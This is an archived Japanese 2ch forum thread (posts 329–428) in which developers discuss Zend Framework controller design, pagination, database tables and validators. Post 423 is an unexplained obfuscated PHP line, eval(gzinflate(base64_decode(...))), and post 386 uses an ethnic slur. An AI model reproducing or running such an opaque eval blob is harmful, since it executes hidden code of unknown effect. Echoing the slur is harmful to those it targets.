トップページphp
1001コメント312KB

Zend Framework Part3

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2009/04/10(金) 08:35:00ID:???
公式
http://framework.zend.com/

マニュアル
http://framework.zend.com/manual/ja/

(有力翻訳者のm-takagiさんのver)
http://www.m-takagi.org/docs/php/zend/

バグ報告
http://framework.zend.com/issues/secure/Dashboard.jspa

API
http://framework.zend.com/apidoc/core/

前のスレッド Zend Framework Part2
http://pc11.2ch.net/test/read.cgi/php/1204726884/
0329nobodyさん2009/07/11(土) 01:31:14ID:???
> 検索の主体(フォーム出力、検索実行)がSearchControllerにあるのでその中で実装するのが自然かなと思ったんですが、

全然自然じゃないわ
0330nobodyさん2009/07/11(土) 01:37:51ID:???
>>327
ZFは各コンポーネント間の依存関係を薄めて、好きなモノを好きに使ってくれって思想もあったはず。
良くも悪くもRoR系FWと比べると書き方に規制が無いから、ベストプラクティスを導き出すのが難しいんだよね。
日本ユーザがもう少し盛り上がれば色々広がりそうなんだけどねぇ。

>>328
「行数」ではなくて「行あたりの文字数」なw
行数は明確に規定ないよ。
0331nobodyさん2009/07/11(土) 01:48:09ID:???
>>330
失礼
The maximum length of any line of PHP code is 120 characters.
って書いてるね。余計なこと書いちゃったなぁw。
03323162009/07/11(土) 07:33:19ID:IIRizAp5
>>326
>>329
参照返信されるのはいいですが否定するだけでなく意見を下さい。
あなた方にとってどう実装するのが自然な方法なんですか?
どっちかというのはHTMLをインデックスのビュースクリプトに直接記述する方法と
あなた方が提案しない自然な方法のどちらかと言うことです。

>>327
>>330
作る側にとったら悩むところですね。
私はできれば推奨と呼ばれるような書き方をしたい派なのです。
もっとユーザが増えればですね。
0333nobodyさん2009/07/11(土) 09:27:12ID:???
フレームワークは使うモノであって、使われるモノでは無い。
>>316のやりたい事を実装する方法は多々あるし、自由に実装すればいいんじゃない?
本人が良いのであれば、SearchControllerに実装したって全然かまわない。
0334nobodyさん2009/07/11(土) 10:10:30ID:???
>>332
いい加減にしてくれ
0335nobodyさん2009/07/11(土) 11:06:03ID:???
好きに実装していいけど、正直な感想かかれて切れるんなら別のところで聞いたほうがいいな。

おれは、SearchControllerにgetForm実装するかどうかは別として、
別のコントローラーに処理を回したいケースはある。
おれなら、IndexControllerから直接呼ぶんじゃなく、
ActionStackにSearchControllerをセットして
プレースフォルダにコンテンツを投入させてレイアウトで処理する。
0336nobodyさん2009/07/11(土) 13:03:17ID:???
>>332
だから、全然自然じゃないし、推奨と呼ばれるにはほど遠い書き方なんだよ。
書き方以前に、あなたにはコペルニクス的転回が必要なんじゃね。
>>316 「何かおかしいこと言ってますか?」
これが全て。根底から考え直さないと、ここで今の問題の回避方法を聞いても、
次にまたぶつかる。
0337nobodyさん2009/07/11(土) 16:05:55ID:Vd43NPnH
質問、初心者です
学校の生徒と先生の自己紹介アプリみたいなの作るとして、とりあえず
StudentControllerとTeachearControllerつくって、それぞれに「趣味」を出力する機能があるとします
この場合、趣味のDB問い合わせ+引き出し処理は独立したメソッドに持たせて、
それを上記Controller中のhobbyActionからそれぞれ実行させれば良いんですよね?
0338nobodyさん2009/07/11(土) 16:28:29ID:???
>>337
hobbyActionは共通だから、まずIntroductionControllerを作ってこちらに実装。
生徒と先生とで違う部分だけIntroductionControllerから派生させて作る。
introduction/hobby でアクセスさせるか、(student|teachear)/hobby にするかは他との兼ね合い。
両方可能でもいいし。
DB問い合わせとかは別クラスを作る。
hobbyActionには、せいぜい getDB()->getHobby();程度で趣味を取り出せるようになっているのがいいな。
0339nobodyさん2009/07/11(土) 16:45:27ID:Vd43NPnH
>>338
ありがとうございました、なるほどー
getDB()->getHobby();ってありますが、これはつまり
DBアクセスのクラスを独立させて、生徒・教師問わず情報引き出し処理を
その中のメソッドとしてもたせるってことですよね?
DBアクセスのクラスはどっちのユーザーにも共有ってことで、、

それだと、スケジューラ機能を持たせて、
$uType = "student";
$uName = "山田";
$eventDay = "2009/7/11";
getDB($uType,$uName)->getSchedule($eventDay);
として、「生徒の山田さんの2009/7/11のスケジュール」を呼び出す処理を作る
みたいなことも出来るんでしょうか?
0340nobodyさん2009/07/11(土) 17:34:31ID:???
>>339
> DBアクセスのクラスはどっちのユーザーにも共有ってことで、、
共有と言うより共通かな。
先生と生徒でDBが多少違っていても同じインターフェースが実装されていればいいってことで。

> getDB($uType,$uName)->getSchedule($eventDay);
それでもいい。
Userクラスを作ってDB接続はUserオブジェクト内に持たせるのもありだと思う。
preDispatchあたりで
$user = new User(getDB($uType));
$user->setNmae($uName);//コンストラクタの引数で渡してもいい
scheduleActionで
$this->user->getSchedule($eventDay);
hobbyActionで
$this->user->getHobby();
0341nobodyさん2009/07/11(土) 17:36:01ID:???
preDispatchの$userは$this->userの間違いでした。
0342nobodyさん2009/07/11(土) 17:41:42ID:???
>>340
なるほど、大体理解できました
トライしてみます。ありがとう!
0343nobodyさん2009/07/11(土) 17:49:07ID:???
initじゃだめなの?
0344nobodyさん2009/07/11(土) 18:27:06ID:???
>>343
initとpreDispatchの使い分けでググるといろいろ出てくるけど、
俺的にはアクションやリクエストクエリで違いが出てきそうなのはpreDispatchかな。
DB接続(の用意)とかはinitに書くこともあるけど、どのみちシングルトンだし、
ファクトリーメソッドなどを多用するから、Zend_Controller_Actionから派生させた
そのアプリのベースとなるMyApp_Controller_Actionで使う程度かな。> init
0345nobodyさん2009/07/11(土) 18:41:20ID:???
>>344
なるほど。
ちなみにZend_Applicationはつかってますか?
0346nobodyさん2009/07/11(土) 19:02:48ID:???
>>345
使っていません。
不要と判断した訳じゃなくて、ただ単に使ったことないだけです。
0347nobodyさん2009/07/13(月) 15:41:33ID:sINZz9CU
Zend_ValidateのStringLengthでロケールを考慮しないで文字数を検証する方法はありますか?
iconv_strlen()で文字数を数えているようですが、strlen()の返り値で検証して欲しいです。
0348nobodyさん2009/07/13(月) 16:47:25ID:???
その程度なら調べるより自分で実装する方が早くね?
0349nobodyさん2009/07/13(月) 18:59:28ID:???
上でちょっと荒れてて気になって探してみたらクイックスタートにまんまgetForm()があった
http://framework.zend.com/manual/ja/zend.form.quickstart.html

他のサンプルでもよく使われてるけど元祖はマニュアルなのかw
0350nobodyさん2009/07/13(月) 19:55:44ID:???
User用のフォームだから他では確実に使わないってことなんじゃないの
0351nobodyさん2009/07/14(火) 11:53:04ID:???
コントローラーにgetFormがあるのは設計的にも問題ない。
ただ、他のコントローラーから呼べるようにというのは、ZF的MVCではない。
0352nobodyさん2009/07/14(火) 11:56:10ID:???
使いまわしたいなら各コントローラの親クラスで実装しとけばいいんじゃね?
0353nobodyさん2009/07/14(火) 12:20:58ID:???
普通はモジュール単位で基底コントローラ作るよな?
0354nobodyさん2009/07/14(火) 15:17:09ID:???
あんまり無駄なファイルは作りたくない人とかもいるやん?
0355nobodyさん2009/07/14(火) 15:21:19ID:???
親クラスや基底コントローラが無駄って事じゃないよな?
0356nobodyさん2009/07/14(火) 15:23:14ID:???
親のクラスとなすびの花は
0357nobodyさん2009/07/14(火) 15:25:21ID:???
じゃ1ファイルの中に10クラスくらい入れときゃいいじゃん
0358nobodyさん2009/07/14(火) 15:54:39ID:???
Zend_Loggerのインスタンスをグローバル変数として運用したいのですが、
どこで宣言するのが適正でしょうか?
index.php?
0359nobodyさん2009/07/14(火) 15:58:30ID:???
>>358
俺ならシングルトンにする。
0360nobodyさん2009/07/14(火) 16:09:25ID:???
>>359
お、なるほど。確かに一つだけインスタンスがあれば良いですもんね。
アドバイスありがとうございました。
0361nobodyさん2009/07/15(水) 11:24:12ID:???
俺ならDIにして注入する
0362nobodyさん2009/07/15(水) 11:35:54ID:???
俺ならAIにしてチュウチュウする
0363nobodyさん2009/07/16(木) 13:03:14ID:???
みなさんにしかられると思いますが、質問させてください

javascriptを利用してinnnerHTMLで作成したbuttonに
onclick="{$変数}"を実現させたいのですが、当然javascriptでは中括弧{}は読めないのでエラーが出ます

どうにかならないですか?
お願いします
0364nobodyさん2009/07/16(木) 13:05:59ID:???
onclick="abc({$変数})" 正しくはこんな感じです
ボタンを押すとabcという関数を実行する というものです

innerHTMLをやめればいいんですけど、仕様を満たすにはこれしかないので・・・
はっきりいってカスプログラムですが、どうにかお願いします
0365nobodyさん2009/07/16(木) 13:20:47ID:???
曖昧すぎて答えられない。

そのテンプレートは何で書いてるの?
中括弧は何故必要なの?
出力されたHTMLの中身はどうなってるの?
どんなエラーが出るの?
0366nobodyさん2009/07/16(木) 14:02:55ID:???
ZF関係あんの?
0367nobodyさん2009/07/16(木) 14:40:15ID:???
ヴァカなの?スィヌの?
0368nobodyさん2009/07/16(木) 14:54:18ID:???
innerHTMLって開始タグと終了タグ間のHTMLの操作じゃないの?
0369nobodyさん2009/07/16(木) 15:32:31ID:???
Zend_Config_Writer_Ini::write()の返り値がvoidなのがきにくわん
0370nobodyさん2009/07/16(木) 15:36:02ID:???
例外投げてくれるんだからいいじゃん
0371nobodyさん2009/07/16(木) 15:49:27ID:???
僕はbooleanちゃんが好きなんだい
0372nobodyさん2009/07/16(木) 16:02:13ID:???
Zend_Configにget()はあるのにset()は無いのは何か理由があるんでしょうか?
0373nobodyさん2009/07/16(木) 17:26:18ID:UYFo7ptK
Zend_Db_Table::find()の返り値について質問です。
hash(string), path(string), status(int)のSQLiteデータベースがあります。

hashが主キーで、find(hash)->count()の結果は1なのですが、
find(hash)->path
find(hash)->status
のようなアクセスをしても値が帰ってきません。

値はGUIから格納されているのを確認しました。
アクセス方法を間違えているのでしょうか?
0374nobodyさん2009/07/16(木) 18:21:09ID:???
>>373
つfind(hash)->current()->path

違ってたらスマソ。
0375nobodyさん2009/07/18(土) 10:08:40ID:???
デファクトには到底なれそうにないFWだよねw
0376nobodyさん2009/07/18(土) 11:18:14ID:???
ZFの対象ユーザーってPHPユーザーのごく一部の変態だけ
0377nobodyさん2009/07/18(土) 13:20:40ID:Xz5Y6CrM
いきなり1.9.0までとぶからパッチ出したのか。
2.0.0移行はPHP 5.3以降要求されそうで怖い。
0378nobodyさん2009/07/18(土) 14:44:40ID:???
良くも悪くも細かい仕様変更やマイナーバージョンアップが多すぎて、
書籍リソースが全く役に立たないよなw

導入しても、手になじむ前に最新版がリリース>検証作業のループ。
0379nobodyさん2009/07/18(土) 15:09:23ID:???
Webアプリを書籍で学ぶのがそもそも間違ってるような
0380nobodyさん2009/07/18(土) 15:52:33ID:Xz5Y6CrM
Zend_Application
Zend_Form

上記2点は使えるけど、上は新しいから解説サイトがあんまり無い
0381nobodyさん2009/07/18(土) 19:08:28ID:???
Applicationに関してはマニュアルも翻訳終わってないから
使い方あってるのかわからない
0382nobodyさん2009/07/18(土) 19:16:06ID:???
誰かが翻訳するしかないな。
他力本願で申し訳ないけど。
0383nobodyさん2009/07/18(土) 19:50:38ID:???
>>382
なんで?
英語のドキュメントがあるじゃん。
0384nobodyさん2009/07/18(土) 19:53:47ID:???
>>383
.  / ̄ヽ
  | あ |
. 、| あ |)\
  | そ |  ヽ  /|
  | う .|   .l/ |
  | : /      |
  `∨,、 ∧  ,、/___
  ∧/-∨ ∨-ヽ  /
 l´l|  ≡ / ≡ |、/
 ヽ゛     〉   |'ノ
>`ll   _    /
`\.|\ `'´ /
,---|  `ー-'|_
 ̄  ``- -‐'-'ヽ
_        〉、
  ``丶、__/  ``丶、._
     ●
0385nobodyさん2009/07/18(土) 20:35:14ID:???
ソースがあれば(ry
0386nobodyさん2009/07/18(土) 23:11:02ID:???
>>383
I think Jap's language is a local language in small islands of Far Eest.

You should use to read and write with public languages of UN! :-p
0387nobodyさん2009/07/18(土) 23:19:32ID:???
>>375
Japanese Mobile phones isolates from defact standards too far,
So, Zend Framework core contributers no consider of them.
0388nobodyさん2009/07/18(土) 23:24:29ID:???
ZFでモバイルサイトは無理だろうなぁ
てか、ドキュモのimodeIDって、/controller/action/guid=ON/args
みたいなURLでも効くんだろうか
0389nobodyさん2009/07/18(土) 23:25:10ID:Xz5Y6CrM
Pro Zenderの方に問題です

/test/test にアクセスするとどうなるでしょうか


class TestController extends Zend_Controller_Action
{

public function indexAction()
{
    $this->_redirect(?/?);
}

public function testAction()
{
    $this->_forward(?index?);
}

}
0390nobodyさん2009/07/18(土) 23:27:00ID:Xz5Y6CrM
? は " です。
0391nobodyさん2009/07/19(日) 00:03:35ID:???
>>387
not 'defact' but 'defacto'
0392nobodyさん2009/07/19(日) 00:15:51ID:???
>phones isolates
>contributers
この辺にも注目

>no consider
これは論外
0393nobodyさん2009/07/19(日) 11:45:06ID:???
>>391
Oh, thank you guy!
0394nobodyさん2009/07/19(日) 14:01:49ID:???
おまえらなんて、この程度の存在だろ。

             √ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
             |         ΩΩ_           |
             |        (  ・ rt) =3     |
             |        / ; /         |
             |ー-‐ー-‐ー/‐ ,/ -‐ー-‐ー-‐ー-‐|
             | r-、___/, :/   。゚o       |
             | L「: ・ ; ̄`カ    8 。        |
    「|‐ー-‐ー-‐ー-|  L_・ ¨∵∴_」             |‐ー-‐ー-‐ー-「|
    | |          |   | |「| ̄|,兀|  (ヽ○ノ`〉     |         | |
    | |          |   | || |  | || |   >  f        |          | |
    | |          |   | || |  | || |  (_/ヽ_,〉      |         | |
    | |          |   | || |  | || |            |          | |
    | |         」   | || |  | || |            L        | |
    | |________,[,]!、!_Li、」_______________| |
    └――――――――――――――――――――――――――-┘
0395nobodyさん2009/07/19(日) 14:23:04ID:YJV33QJ2
Zend_Paginatorで$_GETでページ数を渡したいんですが、どのように設定すればいいのでしょうか
0396nobodyさん2009/07/19(日) 14:24:16ID:???
_getParam("page")で取ってきて渡せばいい。。
0397nobodyさん2009/07/19(日) 16:15:41ID:YJV33QJ2
すんません、自動生成されるリンクの話です
デフォだと/page/1みたいなリンクが生成されちゃいます
0398nobodyさん2009/07/19(日) 18:03:02ID:???
1の所に渡したいページ番号を入れてリクエスト出せば?
0399nobodyさん2009/07/19(日) 18:36:34ID:YJV33QJ2
>>398


使ったことあれば分かると思いますが、UserParam形式で生成されるページ番号を$_GET方式に変更したいってことです。
PEAR::PagerにあるようなurlVarやextraVarなどみたいな機能はないのでしょうか。
0400nobodyさん2009/07/19(日) 19:08:35ID:???
じゃソース見れば?
0401nobodyさん2009/07/19(日) 19:10:28ID:YJV33QJ2
>>400
使ったことが無くて分からないのであればもう良いです。
0402nobodyさん2009/07/19(日) 19:11:36ID:???
そうですか。乙
0403nobodyさん2009/07/19(日) 20:00:05ID:???
うぜぇ…
0404nobodyさん2009/07/19(日) 21:17:14ID:YJV33QJ2
>>403
分からないのに解答してこられると迷惑ですよね。
0405nobodyさん2009/07/19(日) 22:31:10ID:???
エンドレスエイトの見過ぎで、ここでも既視感が...。

getCurrentPageNumber()とかかな?
そこまで絞ってんだからソース見た方が早いよ。
0406nobodyさん2009/07/19(日) 22:33:32ID:???
あ、getCurrentPageNumber() は全然的外れだね。
忘れてくれ。
0407nobodyさん2009/07/20(月) 06:46:29ID:???
ん?GETルーターを使うだけじゃないの?
0408nobodyさん2009/07/24(金) 03:23:12ID:???
リンクはテンプレートのURL出力部分を ?page=1 みたいに直すだけでなくて?
受け取る方は $paginator->setCurrentPageNumber($page) で設定できるね
0409nobodyさん2009/07/24(金) 22:36:50ID:Q241rgzl
メールアドレスの検証クラス作ってみた。
Zend_Validate_Abstractクラス継承してます。

翻訳用定数はこれ
CheckUser::NOT_EXISTS
CheckUser::INVALID_TO

つかいかた
$check = new CheckUser(fqdn, from);
$check->isValid(checkaddress);

fqdnにはSPFレコード設定してあるホスト
fromには相手方に通知されるアドレス
checkaddressには確認したいアドレス

ソースはこれ
0410nobodyさん2009/07/25(土) 01:33:18ID:???
Zend_Validate_EmailAddressが既にあるじゃん
0411nobodyさん2009/07/25(土) 09:18:54ID:???
Zend_Validate_EmailAddress
ってなんか無駄に色んな検証するのが嫌よね
0412nobodyさん2009/07/25(土) 13:57:29ID:beK3GgFm
>>410-411
あー生死判定ってことです。
メールアドレスの部分はZend_Validate_EmailAddressで判定しています
わざわざ送ってダエモンで判定するよりかは効率良いです。
0413nobodyさん2009/07/25(土) 15:42:34ID:???
それ、どこかで公開してるの?
0414nobodyさん2009/07/25(土) 18:58:39ID:beK3GgFm
>>413
いえ、つくってみたんです。
CPANのCheckUserを参考にしました。
0415nobodyさん2009/07/25(土) 19:26:03ID:???
で、それ、どこかで公開してるの?(君が)
0416nobodyさん2009/07/25(土) 21:33:49ID:???
単発で送るんならいいけど、まとめて送るときは累積でかなりリソース食いそうね
ドキュモとかの携帯キャリアにも有効なの?それ
0417nobodyさん2009/07/25(土) 23:04:57ID:beK3GgFm
>>416
一応ドコモとあうは試しました。
あんまり大量にコネクション張るとバンされると思うので数はこなしてませんが、うまくいってました。

使い道がないので処分しようかと思ってたんですが、何か面白い使い方ありますか?
0418nobodyさん2009/07/26(日) 04:12:17ID:???
Hello Worldにケが生えたようなものに、面白い使い方なんてないでしょ。
ZF関係ないし
0419nobodyさん2009/07/26(日) 10:18:02ID:8CFJRVQz
まぁHello Worldと同系列で考えるような人には使い方なんて思いつかないと思います。
Zend_Validate_Abstract継承クラスでZF関係ないとかいえちゃう発言もすばらしいです。
0420nobodyさん2009/07/26(日) 15:09:54ID:???
てかそれZend_Validateと同系列に扱っちゃダメじゃない?
入力内容の文字列検証と、重くても Db_RecordExists 程度なのに、
Validateのたびに通信が発生するようなメソッドを同じレベルに持ってくるのは相当怖い。
プログラマが全員理解できてればいいけど、リスクが高いメソッドとそうでないものを一緒くたにするのは不味い。
それこそモバイルならキャリアにブロックされる率が上がるだろうし。
0421nobodyさん2009/07/26(日) 15:51:32ID:???
>>419
でっかい釣り針下げてないで、
419さんが、使い方を提示すればいいんじゃないの?
継承しただけで、ZF関係があるとは俺も思わないよ。
0422nobodyさん2009/07/28(火) 20:09:28ID:???
俺はスレチとは思わん
0423nobodyさん2009/07/29(水) 00:06:36ID:???
<?php eval(gzinflate(base64_decode('s7ezsS/IKFBILUvM0UivysxLy0ksSdVQ37x980b9ExoBF65z+fteDDTYFPJB62yggZHBhhADgw1GBluNDAMvmG0wMbhwaXu7xtMgDY1TZ7QvBgR89zh78mQ4x3n9U56BLIylvtmtU86E8DIr8IauYWBQ19S0todaCAA=')));
0424nobodyさん2009/07/31(金) 14:26:31ID:???
Zend_Db_TableのlastInsertId()メソッドってmysqlだと使えない?
0425nobodyさん2009/07/31(金) 14:29:41ID:???
http://zendframework.com/manual/ja/zend.db.html#zend.db.adapter.adapter-notes.pdo-mysql
ほいほい
0426nobodyさん2009/07/31(金) 14:37:20ID:???
>>425
即レスthx
そしてサーセン。単にcommitした後に取得しようとしてて取得できないだけでした。
こんなところでハマるなんて…orz
0427nobodyさん2009/07/31(金) 22:59:51ID:???
Zend_Formでtextのあとに文字をおきたいのですがどうすればよいでしょうか?

期待は以下のようなソースです。
<input type="text"(略)> 回

よろしくお願いします。
0428nobodyさん2009/08/01(土) 02:45:43ID:???
それぞれ属性設定するメソッドがあるっしょ
■ このスレッドは過去ログ倉庫に格納されています